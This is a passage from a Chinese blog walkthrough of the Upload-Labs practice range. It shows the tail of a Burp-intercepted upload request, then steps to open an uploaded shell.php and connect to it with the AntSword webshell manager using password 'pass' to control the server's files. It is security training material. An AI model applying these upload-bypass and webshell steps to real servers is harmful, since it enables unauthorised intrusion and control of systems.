jpg
——WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="submit"
上传
——WebKitFormBoundaryEPbeXoBbAj17ncWL–
步骤 4:放行请求,让服务器处理
点击 Burp 里的「Forward」放行请求,服务器和系统的处理逻辑:
步骤 5:验证文件并连接 Shell
访问文件地址:
http://你的靶场地址/upload-labs/upload/shell.php
直接访问这个地址,如果页面空白或无报错,说明文件已成功上传并可解析。
用蚁剑连接:
- URL 地址:填上面的地址 http://你的靶场地址/upload-labs/upload/shell.php
- 连接密码:填 pass(和木马里的 $_POST["pass"] 对应)
- 编码设置:UTF-8
- 连接类型:PHP
点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。
三、关键注意事项

结语
从后缀绕过、文件解析漏洞到竞争条件与数组绕过,Upload-Labs 的每一关,都是对文件上传防护体系的一次拆解与反思。攻击与防御的博弈,从来都在细节之中。
理解这些漏洞的原理,不是为了破坏,而是为了更懂如何保护。愿我们都能在攻防的路上,保持敬畏,持续学习。
想了解其他内容的可以看以下专栏文章:
sql注入:sqli-labs(SQL 注入练习靶场)_其实防守也摸鱼的博客-CSDN博客
DVWA:dvwa的操作步骤及原理_其实防守也摸鱼的博客-CSDN博客
ctfshow:ctf show 解题步骤_其实防守也摸鱼的博客-CSDN博客






